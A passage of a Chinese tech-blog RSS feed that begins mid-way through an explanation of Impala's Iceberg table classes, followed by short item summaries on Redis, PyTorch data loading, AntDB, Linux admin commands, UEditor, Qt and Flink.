介绍完了相关接口之后，我们接下来继续看看Iceberg相关的类。从图中可以看到与Iceberg直接相关的表类型就有足足七种，当然其中除了IcebergTable和LocalIcebergTable这两个真正表示实际存在的Iceberg表的“正经”表类型外，其他的都可以算是为了支持各种Iceberg特性而抽象出来的功能性的工具类。接下来我们逐个介绍。&#xA;IcebergTable IcebergTable是Iceberg表在Impala元数据管理中的代理类之一，每个对象都是对应了一张实际存在的Iceberg表。IcebergTable实现了FeIcebergTable接口并继承了Table类。Table类是Impala中所有表类的主要父类之一（另一个是LocalTable），它是一个抽象类，实现了FeTable接口，它定义了所有表共有的一些成员变量，如库对象、表名、所有者、表锁和数据列容器等等，它还定义了表对象共有的一些成员方法，其中最重要的就是实现表加载的抽象方法load()以及Coordinator接收到Catalogd服务广播的元数据Thrift结构体后从Thrift结构体加载元数据的loadFromThrift(TTable)方法。IcebergTable作为Table的子类，实现了自己的load()方法来加载Iceberg表，除此之外还包括一些特有的成员，如前文提到的内置的HDFS表对象hdfsTable_、Iceberg API表对象icebergApiTable_和从Iceberg元数据加载Schema的方法loadSchemaFromIceberg()等等。&#xA;LocalIcebergTable LocalIcebergTable可以理解为IcebergTable的Local版本，它只在Coordinator的Local Catalog模式下使用，而IcebergTable会在Catalogd和Coordinator的传统Catalog模式下使用，LocalIcebergTable在Coordinator的作用和IcebergTable基本是一致的，可以说是更加轻量化的IcebergTable。Local Catalog模式是为了解决传统Catalog模式的一些缺点而设计的，它支持更细粒度的元数据缓存并能在启动时按需加载元数据，提升了Coordinator的启动速度并减少了内存消耗。LocalIcebergTable同样实现了FeIcebergTable接口，但是继承的是LocalTable类，而不是Table类。LocalTable类也是抽象类，是Table类的Local版本，其成员LocalDb这是Db类的Local版本。如同IcebergTable一样，LocalIcebergTable也内置了一张HDFS表对象，不过不再是HdfsTable类了，而是其Local版本的LocalFsTable，这些Local类都是只在Coordinator的Local Catalog模式下使用的，和非Local版本一一对应。&#xA;IcebergPositionDeleteTable IcebergPositionDeleteTable是用于Iceberg MOR的虚拟表，在上一篇文章中其实已经登场过了，它只在制定Iceberg的Position Delete扫描计划中会被使用到，用来将Iceberg表的Delete File组织为一张虚拟表，这样才能使用Impala的ScanNode进行扫描，具体的使用过程可以参考上一篇文章Impala4.x源码阅读笔记（二）——Impala如何高效读取Iceberg表。IcebergPositionDeleteTable同样实现了FeIcebergTable接口，不过它继承的是表示虚拟表的抽象类VirtualTable，虚拟表不是实际存在的表，而是为了实现某些特定功能而虚拟出来的表，它往往会根据需要而添加一些虚拟列，可以将非表形式的数据以表的形式进行处理。&#xA;IcebergMetadataTable Iceberg API提供了一系列专门的元数据表来查询Iceberg表的元数据，可通过其MetadataTableUtils类来创建各种类型的Iceberg元数据表，如ManifestEntriesTable、FilesTable和SnapshotsTable等。这些元数据表基于基本的Iceberg表创建，有各自的Schema，用于查询该表的各种元数据。IcebergMetadataTable就是Impala为了对接这些Iceberg元数据表而定义的类，它是另外一个继承了VirtualTable的类，不过它并没有实现FeIcebergTable接口，因为它不是通常的Iceberg表。它可以根据一个FeIcebergTable对象和元数据表类型字符串来创建，利用MetadataTableUtils来对接Iceberg元数据表获取Schema并依此填充自身作为VirtualTable的虚拟列，执行时IcebergMetadataTable由执行引擎这边的专门的IcebergMetadataScanNode负责扫描，当然由于执行引擎是C++编写的，所以实际扫描时还是需要通过JNI调用Iceberg API来完成。&#xA;IcebergCtasTarget IcebergCtasTarget是用于CTAS（Create Table As Select）语句的临时目标表类型，它继承了CtasTargetTable类并实现了FeIcebergTable接口，不过它也不是实际存在的表，只是用于CTAS的分析过程。Impala分析CTAS语句时会将其分解为CREATE语句和INSERT语句，然后根据CREATE语句先创建临时目标表，再结合临时目标表来分析INSERT语句。如果分析过程顺利完成才会真正创建目标表。对于Iceberg表来说，临时目标表只是分析使用的，不应该通过Iceberg API实际创建它，所以需要IcebergCtasTarget来充当这一角色。IcebergCtasTarget实现了FeIcebergTable，但是并不会通过Iceberg API实际创建一张Iceberg表。&#xA;ForwardingFelcebergTable ForwardingFelcebergTable一个用于FeIcebergTable的转发类，也并非什么实际存在的表，只是一种使用组合代替继承的编程技巧，通过ForwardingFelcebergTable可以在不继承基类的前提下将不需要重写的方法委托给基类FeIcebergTable。这个类会在IcebergTimeTravelTable中使用，避免IcebergTimeTravelTable继承IcebergTable、LocalIcebergTable等类。&#xA;IcebergTimeTravelTable IcebergTimeTravelTable表示进行时间旅行的Iceberg表，由于Iceberg表时间旅行和模式演进的特性，在不同的时间点Iceberg表可能有不同的Schema，因此对于进行时间旅行的Iceberg表我们需要根据时间或版本重新加载Schema，为了避免复制或破坏原始的Iceberg元数据，Impala通过IcebergTimeTravelTable来实现时间旅行的Iceberg表。IcebergTimeTravelTable没有继承FeIcebergTable而是继承了ForwardingFelcebergTable，通过ForwardingFelcebergTable嵌入对原始Iceberg表的引用并在此基础之上实现readSchema()加载自己的Schema，而那些未涉及时间旅行的方法都可以通过ForwardingFelcebergTable委托给原始Iceberg表类的同名方法 。&#xA;至此Iceberg表在Impala中的相关类就介绍完了，可以发现除了IcebergTable和LocalIcebergTable可以真正称得上是Iceberg表的元数据之外，其他的类都是为了实现Iceberg表的各种功能而定义工具类，这些繁多的类看起来复杂，实际上本身代码量并不多，不如说正是因为定义了这些类才使得Iceberg元数据更好地融入Impala的元数据体系，也使得Impala在支持Iceberg的过程中可以大量复用现有的、可靠的、高性能的代码，反而减少了开发工作量。&#xA;Iceberg表的加载 接下来我们分析一下Iceberg表在Impala中是如何加载的，所谓表的加载实际上就是Impala根据HMS的元数据对象创建自己的元数据对象的过程，对于Iceberg也是一样的，不过Iceberg还有很大一部分元数据以文件的形式存在，需要Iceberg API处理。不过在调用IcebergTable的load()方法之前我们需要先知道它是一张Iceberg表，这一判断由其静态方法isIcebergTable()完成：&#xA;public static boolean isIcebergTable(org.apache.hadoop.hive.metastore.api.Table msTbl) { // 从HMS元数据获取InputFormat，如果是org.</description>
    </item>
    <item>
      <title>Redis常见问题汇总</title>
      <link>https://bchobby.github.io/posts/ad823ffddd36453669737a63906c4138/</link>
      <pubDate>Fri, 29 Dec 2023 17:14:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad823ffddd36453669737a63906c4138/</guid>
      <description>1、Redis为什么这么快 Redis有多快？单机可以支持约10w/s的QPS。&#xA;（1）纯内存操作&#xA;（2）5中数据类型选用的内部数据结构经过精心设计&#xA;（3）6.0以前采用单线程，省去了很多上下文切换的时间以及CPU消耗，不存在竞争条件，不用去考虑各种锁的问题&#xA;（4）基于非阻塞IO多路复用机制（select()、epoll()）&#xA;通过一个线程监听多个socket的IO连接事件，从而实现在单个线程中处理多个连接的读写操作&#xA;这个线程是一个事件处理器（event loop）;&#xA;该事件处理器会将每个连接对应的 文件描述符 注册到事件监听机制中，并在事件就绪时调用相应的读写函数来处理IO操作，这样就可以单线程处理多个连接IO操作&#xA;2、Redis的过期策略以及内存淘汰机制 redis采用的是定期删除+惰性删除策略。&#xA;2.1、为什么不用 定时删除 策略 定时删除，用一个定时器来负责监视key，过期则自动删除。虽然内存及时释放，但是十分消耗CPU资源。在大并发请求下尤其不适用。&#xA;2.2、定期删除+惰性删除是如何工作的 （1）定期删除，redis默认每个100ms检查，检查有过期key则删除。&#xA;需要说明的是，redis不是每隔100ms将所有的key检查一次，而是随机抽取进行检查(如果每隔100ms,全部key进行检查，redis岂不是卡死)。因此，如果只采用定期删除策略，会导致很多key到时间没有删除。&#xA;（2）于是，惰性删除派上用场。在获取某个key的时候，redis会检查一下，这个key如果设置了过期时间那么是否过期了，如果过期了此时就会删除（懒汉式）。&#xA;2.3、采用定期删除+惰性删除就没其他问题了么? 不是的，如果定期删除没删除key，也没即时去请求key，也就是说惰性删除也没生效。这样，redis的内存会越来越高。那么就应该采用内存淘汰机制。在redis.conf中配置。&#xA;2.4、Redis内存淘汰机制 当Redis的内存使用达到配置的最大内存限制时，会触发内存淘汰机制来释放部分内存空间&#xA;（1）allkeys-lru（推荐）&#xA;当内存不足以容纳新写入数据时，移除最近最少使用的key&#xA;（2）allkeys-random（不推荐）&#xA;随机移除某个key&#xA;（3）volatile-lru（不推荐）&#xA;在设置了过期时间的键空间中，移除最近最少使用的key&#xA;（4）volatile-random（不推荐）&#xA;在设置了过期时间的键空间中，随机移除某个key&#xA;（5）volatile-ttl（不推荐）&#xA;3、Redis并发环境下使用 3.1、如何解决redis的并发竞争key问题 （1）事务&#xA;通过使用MULTI、EXEC和WATCH命令，可以将多个操作作为一个事务进行执行，但是生产环境redis一般是集群的，不适用。&#xA;（2）乐观锁&#xA;使用版本号（Version）来实现乐观锁。每次对键进行修改时，都会更新该键的版本号；在读取时，先获取当前版本号，然后进行操作，最后再次验证版本号是否一致，如果版本号不一致，说明该键已被其他客户端修改，需要重新尝试。&#xA;（3）分布式锁（推荐）&#xA;是一种在分布式系统中解决并发竞争的常见机制，可使用Redisson&#xA;（4）队列Queue&#xA;将需要对同一个键进行操作的请求放入队列中，然后通过一个单独的线程或来处理队列中的请求。这样可以保证对同一个键的操作按序执行，避免并发竞争。&#xA;3.2、MySQL里有2000w数据，redis中只存20w的数据，如何保证redis中的数据都是热点数据 （1）缓存淘汰策略&#xA;redis 内存大小上升到一定大小时，就会施行数据淘汰策略，可选LRU最近最少使用淘汰策略；&#xA;（2）数据预热&#xA;在系统启动时，将热点数据预先加载到Redis中。可以使用jedis的管道（Pipeline ）批量初始化加载到Redis。&#xA;Jedis jedis = JedisUtil.getJedis(); // 管道 Pipeline pipelined = jedis.pipelined(); for (int i = 0; i &amp;lt; 10000; i++) { pipelined.</description>
    </item>
    <item>
      <title>PyTorch中的 Dataset、DataLoader 和 enumerate()</title>
      <link>https://bchobby.github.io/posts/48809264043ea793f116c245752baa03/</link>
      <pubDate>Fri, 29 Dec 2023 17:12:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48809264043ea793f116c245752baa03/</guid>
      <description>PyTorch：关于Dataset，DataLoader 和 enumerate() 本博文主要参考了 Pytorch中DataLoader的使用方法详解 和 pytorch：关于enumerate，Dataset和Dataloader 两篇文章进行总结和归纳。&#xA;DataLoader 隶属 PyTorch 中 torch.utils.data 下的一个类，任何继承 torch.utils.data.Data 类的子类均需要重载__getitem__()及__len__()两个函数，且子类在__init__()函数产生的数据路径，将作为 DataLoader 参数 DataSets 的实参。该类将自定义的 Dataset 根据 batch size 大小、是否 shuffle 等封装成一个 Batch Size 大小的 Tensor，用于后面的训练。&#xA;Dataset 类构建 在构建数据集类时，除了__init__(self)，还要有__len__(self)与__getitem__(self,item)两个方法，这三个是必不可少的，至于其它用于数据处理的函数，可以任意定义。这里的 Dateset 可以指整个数据集，也可以是训练集，测试集等。&#xA;class Dataset: def __init__(self,...): ... def __len__(self,...): return n def __getitem__(self,item): return data[item] 正常情况下，该数据集是要继承 Pytorch 中 Dataset 类的，但实际操作中，即使不继承，数据集类构建后仍可以用 Dataloader() 加载的。&#xA;在dataset类中，len(self)返回数据集中数据的总个数，getitem(self,item)表示每次返回第 item 条（个）数据。&#xA;①__init__：传入数据，或者像下面一样直接在函数里加载数据&#xA;②__len__：返回这个数据集一共有多少个 item&#xA;③__getitem__：返回一条（个）训练样本的数据，并将其转换成 tensor&#xA;在 dataset 实例化时一般要传入数据集的路径，一般在__init__() 函数中指定数据集路径等相关信息（可以通过相关路径读取包含图像名称、标签等相关信息的 json 或者 csv 等类型的文件）；通过__getitem__(self,item) 得到对应的图像并将进行 transform 转换（缩放、裁剪、转换成 tensor 等操作），最终以 tensor 的形式返回。</description>
    </item>
    <item>
      <title>亚信安慧AntDB数据并行加载工具的实现（一）</title>
      <link>https://bchobby.github.io/posts/d0e7c177d8cb5fa2cc882478fe6d5b4a/</link>
      <pubDate>Fri, 29 Dec 2023 17:08:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0e7c177d8cb5fa2cc882478fe6d5b4a/</guid>
      <description>1.概述 数据加载速度是评判数据库性能的重要指标，能否提高数据加载速度，对文件数据进行并行解析，直接影响数据库运维管理效率。基于此，AntDB分布式数据库提供了两种数据加载方式：&#xA;一是类似于PostgreSQL的Copy命令，二是通过AntDB提供的并行加载工具。Copy命令是大家都比较熟悉的，但Copy命令导入数据需要通过CN节点，制约了数据的导入性能，无法实现并行、高效的加载。而AntDB并行加载工具可以绕过CN节点，直连数据节点，大大提高了加载的速率。&#xA;2.实现原理 2.1并行加载工具整体流程 并行加载工具有两种线程，一种是文本处理线程，另外一种是数据处理线程。文本处理线程只有1个，用来读取文件，并按行进行拆分，拆分后将行数据发送到数据处理线程。数据处理线程是多个，并行分析行数据，并加载到相应数据节点。&#xA;图1 并行加载工具架构&#xA;2.2文本处理 并行加载工具支持Text和Csv两种格式的文件，下面简要说明下。Text和Csv文件都是以纯文本形式存储表格数据的，文件的每一行都是一个数据记录。每个记录由一个或多个字段组成，用分隔符分隔。文本处理线程的任务就是从文件中提取一行完整的记录，然后发送给数据处理线程。&#xA;文件中每一行数据以字符’\n’或者’\r\n’结尾。当是Csv文件是，由于Csv文件支持引用字符，当‘\n’、’\r\n’出现在引用字符中间时，作为普通字符处理，不能作为行结尾。Csv的引用字符为单字节字符，用户可以根据需要自己指定，未指定的话默认是双引号。&#xA;2.3行数据处理 数据处理线程用来分析文本处理线程发来的行数据，行数据由一个或多个字段组成，用分隔符分隔，分隔符可以指定。&#xA;数据处理线程从CN获取数据库及表相关信息，包括数据库编码方式，表分片方式，表的分片键等。&#xA;AntDB数据库中的表支持以下4中分布方式：&#xA;复制表Hash分片表取模分片表随机分片表 并行加载工具会根据表的分布方式生成相应的导入策略。以下以不同的表分布方式说明并行加载工具的导入策略。&#xA;复制表在每个DN数据节点都保留完整的数据，复制表的数据导入时，需要将行数据插入到所有DN节点。 图2 复制表数据加载流程&#xA;Hash分片表将表数据分散到各DN节点，通过对分片键进行Hash，确定行数据属于哪个DN节点。并行加载工具的行处理线程，通过CN节点获取Hash分片表的分片健，对其进行Hash，然后将该行数据插入对应的DN节点，并行加载工具中的Hash分片的算法需要和CN节点的Hash算法一致。 图3 hash分配表数据加载流程&#xA;取模分片表也是将表数据分散到各DN节点，通过对分片键进行取模确定行数据所属DN节点，并行加载工具导入的处理策略与Hash分片表相同，只是将Hash计算换成了取模的方式。随机分片表没有分片键，而是将数据根据随机分配到各DN节点。并行加载工具在每行数据导入前执行各随机函数，根据函数的返回值确定应该导入哪个节点。 图4 随机分片表数据加载流程</description>
    </item>
    <item>
      <title>查看IOS游戏FPS</title>
      <link>https://bchobby.github.io/posts/52b4de345dd8ba6b3e4483c7678f946c/</link>
      <pubDate>Fri, 29 Dec 2023 17:07:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52b4de345dd8ba6b3e4483c7678f946c/</guid>
      <description>摘要 本篇技术博客将介绍如何使用克魔助手工具来查看iOS游戏的帧率（FPS）。通过克魔助手，开发者可以轻松监测游戏性能，以提升用户体验和游戏质量。&#xA;引言 在iOS游戏开发过程中，了解游戏的帧率对于优化游戏性能至关重要。克魔助手为开发者提供了一种简单可靠的方法来查看帧率，帮助他们监测游戏的运行数据，从而优化游戏性能。本文将详细介绍使用克魔助手来检查iOS游戏的帧率的步骤，并探讨其在游戏开发过程中的重要性。&#xA;克魔助手主页面 首先，为了使用克魔助手检查iOS游戏的帧率，需要在电脑上安装爱思助手或者iTunes驱动。随后，通过USB连接苹果手机到电脑，并启动克魔助手。&#xA;设备选择 第二步，在工具左侧菜单栏中，打开“设备”窗口。窗口中会显示你连接的所有苹果设备，选择要查询的设备，然后选中设备。&#xA;查看FPS和fps监测 第三步，点击“开始监听”，在右侧的“FPS曲线”查看当前应用程序的帧率。另外，在克魔助手中可以看到每秒图像&#xA;更新多少次，以及总图像更新次数，从而了解游戏性能如何。&#xA;CPU占比和应用追踪及特定APP数据 第四步，查看帧率是保证游戏顺畅性的重要因素，所以应用程序开发人员将会经常使用克魔助手检查苹果手机玩游戏的帧率。当然，游戏还有很多需要优化的地方，可以提高游戏整体性能，所以克魔助手不仅提供了监控帧率，还提供了可以分析内存占用，查看CPU实时活动数据，以及追踪特定app时等功能，让开发者可以更好地了解游戏运行情况。&#xA;通过克魔助手的帮助，开发者可以方便快捷地检查苹果手机玩游戏的帧率。了解帧率和游戏性能对增加游戏用户量，增强用户体验和游戏的质量都非常重要，所以在开发过程中不要忘记检查苹果手机的帧率。</description>
    </item>
    <item>
      <title>【Linux基础】10. 系统管理及IPC资源管理</title>
      <link>https://bchobby.github.io/posts/6fcb2d30bd0c2dc1a84811155a93811e/</link>
      <pubDate>Fri, 29 Dec 2023 17:07:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fcb2d30bd0c2dc1a84811155a93811e/</guid>
      <description>文章目录 【 1. 系统管理 】1.1 查询系统版本1.2 查询硬件信息1.3 date 系统时间 【 2. IPC资源管理 】2.1 IPC 资源查询2.2 ulimit 检测和设置系统资源限制 【 1. 系统管理 】 1.1 查询系统版本 查询 Linux 系统版本 uname -a lsb_release -a 查询 Unix 系统版本 more /etc/release 1.2 查询硬件信息 命令作用sar -u 5 10查询 CPU 使用情况cat /proc/cpuinfo查询 CPU 信息cat /proc/cpuinfogrep processorcat /proc/meminfo查询内存信息pagesize显示内存page大小（以KByte为单位）arch显示架构 1.3 date 系统时间 全称作用date 日期显示或设置系统时间与日期 显示当前系统时间 # 直接输出当前 日期、周几、时间、时区 date # 格式化输出当前日期时间 date +%Y%m%d.%H%M%S 设置系统日期和时间格式（格式为2014-09-15 17:05:00）&#xA;设置系统时间需要 root 用户权限。 date -s 2014-09-15 17:05:00 date -s 2014-09-15 date -s 17:05:00 设置时区</description>
    </item>
    <item>
      <title>百度编辑器常用设置</title>
      <link>https://bchobby.github.io/posts/3bcdbe95102bbd4a9a41a66ea06bf7ac/</link>
      <pubDate>Fri, 29 Dec 2023 17:07:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bcdbe95102bbd4a9a41a66ea06bf7ac/</guid>
      <description>1、创建编辑器&#xA;UE.getEditor(&#39;editor&#39;, {&#xA;initialFrameWidth:&#34;100%&#34; //初始化选项&#xA;})&#xA;精简版&#xA;UE.getEditor(&#39;editor&#39;)&#xA;2、删除编辑器&#xA;UE.getEditor(&#39;editor&#39;).destroy();&#xA;3、使编辑器获得焦点&#xA;UE.getEditor(&#39;editor&#39;).focus();&#xA;4、获取编辑器内容&#xA;UE.getEditor(&#39;editor&#39;).getContent()&#xA;5、编辑器是否有内容&#xA;UE.getEditor(&#39;editor&#39;).hasContents()&#xA;6、获取编辑器内容纯文本格式&#xA;UE.getEditor(&#39;editor&#39;).getContentTxt()&#xA;7、获取带格式的纯文本&#xA;UE.getEditor(&#39;editor&#39;).getPlainTxt()&#xA;8、启用编辑器&#xA;UE.getEditor(&#39;editor&#39;).setEnabled();&#xA;9、禁止编辑&#xA;UE.getEditor(&#39;editor&#39;).setDisabled(&#39;fullscreen&#39;);&#xA;10、获取整个html内容&#xA;UE.getEditor(&#39;editor&#39;).getAllHtml()&#xA;11、获取整个html内容&#xA;UE.getEditor(&#39;editor&#39;).setContent(&#39;欢迎使用ueditor&#39;, isAppendTo);&#xA;12、编辑器是否获得焦点&#xA;UE.getEditor(&#39;editor&#39;).isFocus()；&#xA;13、编辑器失去焦点&#xA;UE.getEditor(&#39;editor&#39;).blur()&#xA;14、获取选区&#xA;UE.getEditor(&#39;editor&#39;).selection.getRange();&#xA;15、获取选中的文本&#xA;UE.getEditor(&#39;editor&#39;).selection.getText();&#xA;16、插入给定的内容&#xA;UE.getEditor(&#39;editor&#39;).execCommand(&#39;insertHtml&#39;, &#34;插入你想插入的值&#34;)&#xA;17、设置可以编辑&#xA;UE.getEditor(&#39;editor&#39;).setEnabled();&#xA;18、设置禁止编辑&#xA;UE.getEditor(&#39;editor&#39;).setDisabled(&#39;fullscreen&#39;);&#xA;19、隐藏编辑器&#xA;UE.getEditor(&#39;editor&#39;).setHide()&#xA;19、显示编辑器&#xA;UE.getEditor(&#39;editor&#39;).setShow()&#xA;20、设置高度，为300默认关闭了自动长高&#xA;UE.getEditor(&#39;editor&#39;).setHeight(300)&#xA;常用设置&#xA;imageUrl:UEDITOR_HOME_URL + &#34;../yunserver/yunImageUp.php&#34;, //图片上传接口&#xA;imagePath:&#34;http://&#34;,&#xA;scrawlUrl:UEDITOR_HOME_URL + &#34;../yunserver/yunScrawlUp.php&#34;,//涂鸦接口&#xA;scrawlPath:&#34;http://&#34;,&#xA;fileUrl:UEDITOR_HOME_URL + &#34;../yunserver/yunFileUp.php&#34;,//文件上传接口&#xA;filePath:&#34;http://&#34;,&#xA;catcherUrl:UEDITOR_HOME_URL + &#34;php/getRemoteImage.php&#34;,//获取远程图片接口&#xA;catcherPath:UEDITOR_HOME_URL + &#34;</description>
    </item>
    <item>
      <title>集群部署篇--Redis 集群分片模式</title>
      <link>https://bchobby.github.io/posts/269f45ee782fd251cf3f2f893a9f7ac0/</link>
      <pubDate>Fri, 29 Dec 2023 17:05:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/269f45ee782fd251cf3f2f893a9f7ac0/</guid>
      <description>文章目录 前言一、Redis 分片集群介绍1.1 介绍：1.2 工作机制：1.2.1 节点：1.2.2 槽 slot：1.2.3 故障转移： 二、Redis 分片集群搭建:2.1 配置文件：2.2 redis 部署：2.3 redis 集群创建：2.4 redis 集群连接： 总结参考： 前言 对于平常的业务往往使用redis 的哨兵模式就可以了，虽然redis 单台服务可以提供10W 的并发，但是对于并发量非常大的服务来说可能还不够，所以此时就需要对redis 进行分片集群；&#xA;一、Redis 分片集群介绍 1.1 介绍： 如果说依靠哨兵可以实现redis的高可用，如果还想在支持高并发同时容纳海量的数据，那就需要 redis 集群。redis 集群是 redis 提供的分布式数据存储方案，集群通过数据分片sharding来进行数据的共享，同时提供复制和故障转移的功能。&#xA;1.2 工作机制： 1.2.1 节点： 一个 redis 集群由多个节点 node 组成，而多个 node 之间通过 cluster meet 命令来进行连接，节点的握手过程：&#xA;节点 A 收到客户端的 cluster meet 命令节点 A 根据收到的 IP 地址和端口号，向 B 发送一条 meet 消息节点 B 收到 meet 消息返回 pong节点 A 知道 B 收到了 meet 消息，返回一条 ping 消息，握手成功最后，节点 A 将会通过 gossip 协议把节点 B 的信息传播给集群中的其他节点，其他节点也将和 B 进行握手 1.</description>
    </item>
    <item>
      <title>【QT】QStringListModel类的应用介绍</title>
      <link>https://bchobby.github.io/posts/893d433f7f761c61a96b34aa94103895/</link>
      <pubDate>Fri, 29 Dec 2023 16:58:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/893d433f7f761c61a96b34aa94103895/</guid>
      <description>目录&#xA;1 概述&#xA;2 QStringListModel常用方法&#xA;3 使用QStringListModel的步骤 4 QStringListModel的使用&#xA;4.1 Model/View结构对象和组件初始化&#xA;4.2 编辑、添加、删除项的操作&#xA;4.3 以文本显示数据模型的内容&#xA;4.4 其他功能&#xA;1 概述 QStringListModel用于处理字符串列表的数据模型，它可以作为QListView的数据模型，在界 面上显示和编辑字符串列表。 QStringListModel的setStringList()函数可以初始化数据模型的字符串列表的内容，stringList() 函数返回数据模型内的字符串列表，在关联的 ListView 组件里编辑修改数据后，数据都会及时更 新到数据模型内的字符串列表里。 QStringListModel提供编辑和修改字符串列表数据的函数，如insertRows()、removeRows()、 setData() 等，这些操作直接影响数据模型内部的字符串列表，并且修改后的数据会自动在关联的 ListView 组件里刷新显示。 2 QStringListModel常用方法 1. QStringListModel(const QStringList &amp;amp;strings, QObject *parent = nullptr)：构造函数，用于创建一个QStringListModel对象，并初始化它的数据为strings列表。 2. int rowCount(const QModelIndex &amp;amp;parent = QModelIndex()) const：返回模型中的行数。 3. QVariant data(const QModelIndex &amp;amp;index, int role = Qt::DisplayRole) const：返回模型中指定索引的数据。 4. bool setData(const QModelIndex &amp;amp;index, const QVariant &amp;amp;value, int role = Qt::EditRole)：设置模型中指定索引的数据为value。 5.</description>
    </item>
    <item>
      <title>Flink实时电商数仓（九）</title>
      <link>https://bchobby.github.io/posts/3a43bc68ead17728ca36ba3daae4091d/</link>
      <pubDate>Fri, 29 Dec 2023 16:57:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a43bc68ead17728ca36ba3daae4091d/</guid>
      <description>用户注册汇总表 需求分析 统计各窗口的注册用户数，写入Doris 思路分析 读取kafka用户注册主题数据转换数据结构 string -&amp;gt; JSONObject-&amp;gt;javaBean使用user_info表中的数据代表用户注册设置水位线开窗聚合写入Doris 具体实现 创建用户注册统计类继承BaseApp,设置端口，并行度，kafka消费者组，kafka主题（Topic_user_register）启动zookeeper, HDFS, kafka, maxwell等框架测试能够收到数据stream.print()数据清洗过滤，并且转换数据结构为javaBean JSONObject.parseObject(value);转换格式json.getString();获取对应字段判断对应字段是否为空，不为空则out.collect()写出 添加水位线 assignTimestampsAndWatermark()使用WatermarkStrategy.&amp;lt;泛型&amp;gt;乱序流DateFormatUtil.dateTimeToTs(element.getCreateTime());提取数据中的时间 分组开窗聚合 reduce聚合 v1:累加值v2:需要累加进来的值 process获取窗口信息 启动doris, 在hadoop102:8030打开web页面在doris页面建立相应的表格创建对应的doris sink context.window()获取窗口windowwindow.getStart()和window.getEnd() 写出到doris, stream.sinkTo(doris sink); 用户加购汇总表 需求分析 统计各窗口加购独立用户数，写入Doris&#xA;思路分析 和上面一样&#xA;具体实现 数据的清洗过滤，判断user_id和ts不能为空 使用try-catch包裹转换判断代码修改ts的位数，原先是10位的秒级单位，*1000更改为毫秒级 添加水位线，获取数据中的ts 水位线可以保证数据是有序到达的 按照user_id进行分组判断是否为独立用户 创建独立用户加购类 CartAddUuBean在open方法中存储用户上次登录日期lastLoginDtState 设置状态的生存时间:lastLoginDtDesc.enableTimeToLive(StateTtlConfig.newBuilder(Time.days(1)).builder) 在processElement方法中，判断当前数据的时间和状态中的上次登录时间 如果上次登录时间为空或者上次登录时间不等于今天，就是独立用户lastLoginDtState.update(curDt);更新当前的状态如果是独立访客，才需要out.collect()写出 开窗聚合 v1.set(v1.get + v2.get)对度量值进行聚合TimeWindow window = context.window()获取窗口信息 测试开窗聚合信息是否完成写出到Doris, .map(转换为蛇形字符串) .sinkTo(doris sink); [gitee仓库地址：(https://gitee.com/langpaian/gmall2023-realtime)</description>
    </item>
    <item>
      <title>集群部署篇--Redis 哨兵模式</title>
      <link>https://bchobby.github.io/posts/126391803eba2d404791fa8282a8bba1/</link>
      <pubDate>Fri, 29 Dec 2023 16:55:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/126391803eba2d404791fa8282a8bba1/</guid>
      <description>文章目录 前言一、哨兵模式介绍：1.1 介绍：1.2 工作机制： 二、哨兵模式搭建：2. 1 redis 主从搭建：2.2 setinel 集群搭建：2.2.1 配置： sentinel.conf ：2.2.2 运行容器：2.2.3 查看容器的信息：2.2.4 故障自动转移：2.2.5 slave 晋升maser：2.2.6 原主节点重新启动： 总结：参考： 前言 虽然有了Reids 的主从模式，但是我们发现它的故障转移能力非常弱，所以在主从模式的基础之上有衍生出了哨兵模式。&#xA;一、哨兵模式介绍： 1.1 介绍： 基于主从方案的缺点还是很明显的，假设 Master 宕机，那么就不能写入数据，那么 Slave 也就失去了作用，整个架构就不可用了，除非你手动切换，主要原因就是因为没有自动故障转移机制。&#xA;而哨兵（sentinel）的功能比单纯的主从架构全面的多了，哨兵模式是一种特殊的模式，首先 Redis 提供了哨兵的命令，哨兵是一个独立的进程，作为进程，它独立运行。其原理是哨兵通过发送命令，等待 Redis 服务器响应，从而监控运行的多个 Redis 实例。因此哨兵模式具备了自动故障转移、集群监控、消息通知等功能。&#xA;1.2 工作机制： 哨兵可以同时监视多个主从服务器，并且在被监视的 Master 下线时，自动将某个 Slave 提升为 Master，然后由新的 Master 继续接收命令。整个过程如下：&#xA;初始化 sentinel，将普通的 redis 代码替换成 sentinel 专用代码初始化 Masters 字典和服务器信息，服务器信息主要保存 ip:port，并记录实例的地址和 ID创建和 Master 的两个连接，命令连接和订阅连接，并且订阅 sentinel:hello 频道每隔 10 秒向 Master 发送 info 命令，获取 Master 和它下面所有 Slave 的当前信息</description>
    </item>
    <item>
      <title>集群部署篇--Redis 主从模式</title>
      <link>https://bchobby.github.io/posts/7d2d18cb2ef135a0f65747f8eff45240/</link>
      <pubDate>Fri, 29 Dec 2023 16:55:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d2d18cb2ef135a0f65747f8eff45240/</guid>
      <description>文章目录 前言Redis 主从部署：1.1 主从架构 介绍：1.2 主从架构 实现：1.2.1 redis 安装： 1.3 主从架构优缺点：1.4 故障转移： 总结 前言 显然在线上环境中 Redis 服务不能以单机的方式运行，必须有备份，来应对服务挂掉的情况，本文通过docker 完成 Redis 的主从模式部署；&#xA;Redis 主从部署： 1.1 主从架构 介绍： Redis主从架构是一种常见的数据复制和高可用性架构设计，它包括一个主节点和多个从节点。主节点负责接收写操作并将数据同步到所有从节点，而从节点则负责从主节点复制数据，并处理读请求。&#xA;主节点是可读可写的，所有的写操作都在主节点进行处理，主节点将写操作的结果同步到所有从节点上。从节点是只读的，它们通过与主节点进行复制同步来保持数据一致性。当客户端发起读请求时，可以在主节点或从节点上进行处理。&#xA;工作机制:&#xA;当save动后，主动向mastr发送SYNC命令，master接收到SYNC命令后在后合保存快照（RDB特久化） 和缓存保存快照这段时间的命令，然后将存的快照文件和缓存的命令发送给slave。slave接收到快照文件和命令后加载快照文件和缓存的执行命令.&#xA;复制初始化后，master每次接收到的写命令都会同步发送给slave，保证主从数据一致性。&#xA;1.2 主从架构 实现： 本文拉取到redis 最新的镜像 实际版本为：redis-cli 7.2.3&#xA;1.2.1 redis 安装： 1） 镜像下载：&#xA;docker search redis 选择星数最高的 